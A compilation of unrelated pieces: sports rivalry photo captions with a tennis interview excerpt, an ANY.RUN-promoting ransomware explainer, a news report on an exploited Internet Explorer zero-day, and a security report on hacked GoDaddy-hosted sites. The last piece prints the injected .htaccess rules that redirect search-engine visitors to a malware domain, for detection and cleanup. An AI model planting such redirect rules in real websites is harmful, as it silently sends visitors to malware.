"All of the respect and friendship you get in sport comes through competence first -- ' I know how hard it is to be this good, so I respect them for that.' "Hide Caption 10 of 14 Photos: Great sporting rivalriesMcEnroe vs. Borg – Fiery American John McEnroe, left, and ice-cool Swede Bjorn Borg created an iconic tennis rivalry. "When those two collided, at the height of tennis perfection, that's when the audience is really enthused and enthralled," Tu says. "To get that rivalry, they have to leave any friendship on the sidelines."Hide Caption 11 of 14 Photos: Great sporting rivalriesSerena vs. Venus – Sometimes you get two great athletes, but they are too close to be proper rivals -- such as tennis star Serena Williams, left, and her sister Venus. "The great things about sport is the sense of competition, the uncertainty of the outcome, the fairness of the playing field," Tu says. "You might be able to suspend enough of your fraternal or sisterly love to play a decent game of tennis but it won't reach the heights of the rivalries that make the sport."Hide Caption 12 of 14 Photos: Great sporting rivalriesAli vs. Frazier – Muhammad Ali, left, "demonized" Joe Frazier to hype up their fights despite being showed respect outside the ring by his rival. "He came up with the gorilla term to create a spectacle, which he knew was important, but it revved himself up too," Tu says. "He needed to have a real enemy. By the end of the (Manila) fight, he said that Frazier brought out the best of him."Hide Caption 13 of 14 Photos: Great sporting rivalriesMessi vs. Ronaldo – Then there's modern football's greatest rivalry -- Lionel Messi and Cristiano Ronaldo. "I'm not sure Messi is a rival with anyone, he still has that unique joy of just playing," Tu says. "But I think with Ronaldo, the truth is Messi is his nemesis -- and the fact that Messi doesn't care makes it even worse."Hide Caption 14 of 14JUST WATCHEDHow Novak Djokovic stays on topReplayMore Videos ...MUST WATCHHow Novak Djokovic stays on top 06:13JUST WATCHEDHow Novak Djokovic stays on topReplayMore Videos ...MUST WATCHHow Novak Djokovic stays on top 06:13"Sampras on grass would have been the ultimate test, and Federer -- I have to play him, Boris Becker was one of the greats, I played Boris, but on grass we never actually played at Wimbledon."And clearly Djokovic now because I played Connors and I said this guy's the greatest returner I've ever seen, and I played Agassi and said he's even better than Connors, and now I see Djokovic can sort of play offense and defense off the return, so he would be unbelievably tough as well."Out of the four guys (in today's rankings) Andy Murray probably plays close to the style I played. We actually did play very early in his career, some sort of big match in London with a big group of guys, winner take all sort of thing. The reason I brought it up is that I won -- Andy may have been seven at the time (laughs)." On why New York will never lose the U.S. Open:"I don't worry about that. I would be more worried about like the Australian Open if I was someone Down Under. They've done a good job trying to reach the level of the other three slams but you've got Paris, London, New York ... that's a pretty good start. Australia should be worried about China."You're talking to the wrong guy 'cause I live in New York, so New York is the greatest city in the world."
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The cybersecurity world is constantly evolving to new forms of threats and vulnerabilities. But ransomware proves to be a different animal—most destructive, persistent, notoriously challenging to prevent, and is showing no signs of slowing down.
Falling victim to a ransomware attack can cause significant data loss, data breach, operational downtime, costly recovery, legal consequences, and reputational damage.
In this story, we have covered everything you need to know about ransomware and how it works.
What is ransomware?
Ransomware is a malicious program that gains control over the infected device, encrypts files, and blocks user access to the data or a system until a sum of money, or ransom, is paid.
Crooks' scheme includes a ransom note—with amount and instructions on how to pay a ransom in return for the decryption key—or direct communication with the victim.
While ransomware impacts businesses and institutions of every size and type, attackers often target healthcare, education, IT, government, and finance sectors with deeper pockets—causing damages ranging from hundreds of millions to billions of dollars.
Ransomware attacks started picking up in 2012, and since then, it has become the most pervasive cyber-attacks across the world.
For instance, HelloKitty ransomware hit Polish video game developer CD Projekt Red last week with quite a popular tactic, i.e., attackers threatened the company to leak the source code of games, including Cyberpunk 2077, Witcher 3, Gwent, and along with confidential files in the company.
And it's actually happened! After CD Projekt announced that they would not be paying the ransom, attackers created an auction for the stolen data on a hacker forum.
And it isn't the only example. Ransomware has always been one of the most popular kinds of malicious samples uploaded in malware analysis sandbox ANY.RUN. Over 124,00 interactive sessions with ransomware were analyzed online only in 2020.
From a locker to the enterprise
One of the ways to protect from attacks is awareness. We believe it is a must for enterprise executives and employees to understand this type of threat.
In this article, we'll take a look at the history of ransomware:
The first ransomware
The first known ransomware attack was carried out in 1989 by an AIDS researcher, Joseph Popp, who distributed malicious 20,000 floppy disks to AIDS researchers spanning more than 90 countries, claiming that the disks contained a survey program. Since then, the ransomware threat has evolved a lot and acquired more features.
Locker ransomware
In 2007, Locker ransomware, a new category of ransomware malware, appeared that does not encrypt files; instead, it locks the victim out of their device, preventing them from using it.
Similar to this, WinLock demanded a $10 ransom for the unlocking code. Later, Citadel, Lyposit, and Reveton worm controlled a screen with a fine message from a fake law enforcement agency.
This typically takes the form of locking the computer's or device's user interface and then asking the user to pay a fee to restore access to it.
Scareware
In later years, attackers changed their strategy to capitalize on fear by spreading faking applications and antivirus (AV) programs. The attack involves a pop-up message displayed to victims saying that their computers have been infected with viruses. It lures victims to a website where they're asked for money to pay for software to fix the problem. Everything looked trustworthy: logos, color schemes, and other copyrighted materials.
From that moment, criminals understood that it was much easier to compromise several websites, focus on phishing, and get the whole process automated.
Crypto ransomware
In 2013, CryptoLocker emerged as the first cryptographic malware that typically arrives as an email attachment. The Gameover ZeuS botnet was responsible for these attacks. CryptoLocker encrypts files, and after that, a bitcoin payment was required to unlock them.
If the ransom wasn't received in 3 days, the ransom doubled. CryptorBit, CryptoDefense, CryptoWall, WannaCry enlarged decoy variations and even used system weaknesses to infect computers.
The latest step in that evolution is the arrival of ransomware-as-a-service, which first appeared in 2015 with the Tox toolkit launch. It gave would-be cybercriminals the option to develop custom ransomware tools with advanced evasion capabilities.
Enterprise ransomware
Ransomware attackers leveled up and went to the enterprise stage. They preferred to deal with large organizations and scare them of a possible outbreak.
For example, a target got an email with a threat of distributed denial-of-service (DDoS) attack. To avoid it, victims needed to pay a ransom.
One more case is the data compromise ransom. A criminal threatens a target to exploit compromised information to the public unless a ransom is paid. The following tactic is effective on the enterprise level, as companies don't want to put their reputation at stake.
Now it's clear that malware will continue to evolve. And maybe it will acquire hybrid attacks, including other malware families.
Attack in details
As we now know the history and types of ransomware, now it's time to understand how it works.
Deployment: In the first step, attackers distribute essential components used to infect, encrypt, or lock the system, downloaded without the user's knowledge, using phishing, or after exploiting targeted system flaws.
Installation: When the payload is downloaded, the next step is infection. The malware drops a small file that is often capable of defense evasion. The ransomware executes and attempts to gain persistence on the infected system by putting itself to autorun the registry keys, allowing remote attackers to control the system.
Command-and-Control: The malware then connects to the attackers' command and control (C2) server to receive instructions and, primarily, to deposit the asymmetric private encryption key out of the victim's reach.
Destruction: Once files get encrypted, the malware deletes original copies on the system, and the only way to restore them is to decrypt encoded files.
Extortion: Here come ransom notes. The victim gets to know that his data is compromised. The payment range varies according to the type of target. To confuse and scare a victim, attackers may delete several files from the computer. However, if a user pays the ransom, it isn't a guarantee that the information will be restored or ransomware itself will be deleted.
Popular families and operators
Several types of malware are famous in the ransomware world. Let's look through them and talk about popular operators that stand out in malware history:
1) GandCrab ransomware is one of the most notorious ransomware releases in the last few years that amassed nearly $2 billion in payments from its victims.
Believed to be a product of a Russian hacker group, GandCrab was discovered in 2018 as a part of Ransomware-as-a-Service (RaaS) sold to other cybercriminals.
Though GandCrab announced "retirement" in 2019, some researchers claim that it returned with a new strain, called Sodinokibi, with a similar codebase. Sodinokibi targets Microsoft Windows systems and encrypts all files except configuration files.
2) Next, Maze ransomware, which made headlines in the last two years, is known for releasing stolen data to the public if the victim does not pay to decrypt it.
It was the first ransomware attack that combined data encryption with information theft. Moreover, they threatened to make the data public if the ransom was not paid. When the COVID-19 started, Maze announced that they would leave hospitals alone. But later, they broke that promise as well.
In 2020 Maze announced they shut down its operations. But it's more likely that they just moved to another malware.
3) Netwalker used process hollowing and code obfuscation to target corporate victims. But in January 2021, law enforcement agencies teamed up against Netwalker and took over domains in a dark web used by malware actors.
4) Wannacry spreads autonomously from computer to computer using EternalBlue, an exploit supposedly developed by the NSA and then stolen by hackers.
It is the most uploaded type of ransomware in ANY.RUN service in 2020. It hit top malware with 1930 tasks. You can investigate them in the public submission library, search by the "wannacry" tag.
5) Avaddon's malspam usually contains the only smiley to lure users into downloading the attachment. The malware also checks the user's locale before infecting. If it is Russian or Cherokee, Avaddon doesn't encrypt systems.
6) Babuk is a new malware targeting enterprises in 2021. Babuk comprises secure encryption that makes it impossible to restore files for free.
Targets of ransomware attacks
There are several reasons attackers first choose what kind of organizations they want to target with ransomware:
Easy to evade defense. Universities, small companies that have small security teams are an easy target. File sharing and an extensive database make the penetration simple for attackers.
Possibility of a quick payment. Some organizations are forced to pay a ransom quickly. Government agencies or medical facilities often need immediate access to their data. Law firms and other organizations with sensitive data usually want to keep a compromise a secret.
And some ransomware spreads automatically, and anyone can become its victim.
The Rapid Growth of Ransomware
The main reason why this type of malware has become successful is the attacks that bring results to cybercriminals. Markets let crooks buy advanced ransomware for making money.
Malware authors provide several ways to pack the ransomware. Malicious software encrypts systems quickly and stealthily. As soon as the ransom is received, it is no challenge to cover the tracks. These points lead to a significant increase.
Now criminals go bald and expect to get hundreds or thousands of dollars as companies don't want to risk data loss and outages.
Ransomware distribution methods
Here are several ways of how ransomware spreads:
Email (spam)
Watering Hole attack
Malvertising
Exploit kits
USB and removable media
Ransomware as a service
Zero days
Ransomware analysis in ANY.RUN
Let's investigate a sample of ransomware together.
Here is a task with Sodinokibi malware. Thanks to ANY.RUN interactivity, we can follow the user's path:
First of all, we wait for the malicious program to finish file-encrypting on the disc. The distinguishable feature of Sodinokibi is the desktop wallpaper with text.
Then we open a text file on the desktop. Yes, we can interact with files and folders in the virtual Machine during the task execution.
There we can see instructions with the URL address. We can copy it and open it in the browser. On the new page, we need to enter the key; each key is unique for every infected Machine.
There is ours in the text file so that we can enter it. And then a page with the sum of the ransom payment appears and a countdown. Finally, we open the file with an image for test decryption and open it.
Prevention measures
2021 started with arrests of ransomware gangs. The Egregor hacker group has been taken down by French and Ukrainian police last week.
That is a good tendency that law enforcement agencies keep defeating malware actors. However, we need to be cautious and try to stop attacks, too.
To protect against ransomware, companies should have an elaborate plan against malware, including backup data. Since ransomware is very difficult to detect and fight, different protection mechanisms should be used.
ANY.RUN is one of them that helps to identify malware early and prevent infections. Besides that, the most important protection is the training of staff. They need to avoid any suspicious links or files. Employees who know that ransomware exists and how it works can detect such attacks.
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Security researchers at FireEye have detected a new series of drive-by attacks based on a new Internet Explorer zero-day vulnerability. The attackers breached a website based in the US to deploy the exploit code to conduct a classic watering hole attack.
The discovery was announced just a few days after Microsoft revealed the Microsoft Zero-day CVE-2013-3906, a Zero-day vulnerability in Microsoft graphics component that is actively exploited in targeted attacks using crafted Word documents sent by email.
Microsoft graphics component zero-day vulnerability allows attackers to install a malware via infected Word documents and target Microsoft Office users running on Windows Vista and Windows Server 2008.
Recently reported new Internet Explorer zero-day vulnerability detected by FireEye affects the English versions of IE 7 and 8 in Windows XP and IE 8 on Windows 7, but according the experts it can be easily changed to leverage other languages.
Experts at FireEye confirmed that the exploit recently detected leverages a new information leakage vulnerability and an IE out-of-bounds memory access vulnerability to achieve code execution, that attackers use the timestamp from the PE headers ofmsvcrt.dll to select the proper exploit.
"The information leak uses a very interesting vulnerability to retrieve the timestamp from the PE headers of msvcrt.dll. The timestamp is sent back to the attacker's server to choose the exploit with an ROP chain specific to that version of msvcrt.dll." explained the researcher Xiaobo Chen and Dan Caselden in the post published by FireEye.
The analysis conducted by the research team at FireEye revealed this IE zero-day affects IE 7, 8, 9 and 10, and as happened for the Microsoft Zero-day CVE-2013-3906 , it can be mitigated by EMET per Microsoft's feedback.
Very interesting the shellcode, the exploit implements a multi-stage shellcode payload that upon successful exploitation, it will launch rundll32.exe (with CreateProcess), and inject and execute its second stage (with OpenProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread). The second stage downloads an executable and run it from disk.
FireEye experts announced the collaboration with the Microsoft Security team on research activities and the ongoing investigation, the post published has the intent to alert IT community on malicious activities.
FireEye, as confirmed by the post title, believes that the IE zero-day exploit could be used for Watering Hole Attack with specific intent to hit groups of individuals of specific interest for the attackers.
"As the payload was not persistent, the attackers had to work quickly, in order to gain control of victims and move laterally within affected organizations," said the company. The hackers are also employing novel methods to frustrate forensic investigation techniques.
Let me add that a similar attack could be classifiable in one the following categories:
State-sponsored attacks that limited the audience to hit to remain under coverage. State sponsored attacks could be linked to government units or to group of cyber mercenaries, like the case of Icefog team discovered by Kaspersky Lab team.
Malware based attacks that are conducted by cyber criminal for testing purpose. The malicious code is hosted on breached website visited by a limited portion of Internet users, in this way they retrieve important information to improve the malicious agent avoiding to be detected by security firms.
I cannot be more precise without having information on the nature of the targeted website and the complexity of source code used by the attackers.
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GoDaddy websites Compromised with Malware
Many sites hosted on GoDaddy shared servers getting compromised today with a conditional redirection to sokoloperkovuskeci.com.In all 445 cases the .htaccess file (a main Apache web server configuration file) was modified to redirect users to a malware site when they were referred by one of a list of search engines. These redirections attacks are very common on outdated WordPress and Joomla sites, but this time (and for this specific malicious domain), we are only seeing them on GoDaddy hosted sites. So it looks like a compromise on their own servers (similar to what has happened in the past).
This is caused by this entry that is added to the .htaccess file of the compromised sites:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* https://sokoloperkovuskeci.com/in.php?g=916 [R,L]
The malware checks if anyone visiting the infected site is coming from a Google search (or Yahoo, or Bing) and if they are, redirects them to that domain (sokoloperkovuskeci.com). In there, the user gets redirected again to other locations to get their browsers infected too. So you have to fix your site asap to protect your own users. GoDaddy says they are working with customers to resolve the issue, but if you have a GoDaddy account you should check on this, minimally by Googling for your site and following the link (only if your browser is all patched up and you have sufficient other protections).DomainNameWire also smartly recommends that you check with Google, other search engines and security companies to make sure you haven't been blacklisted.
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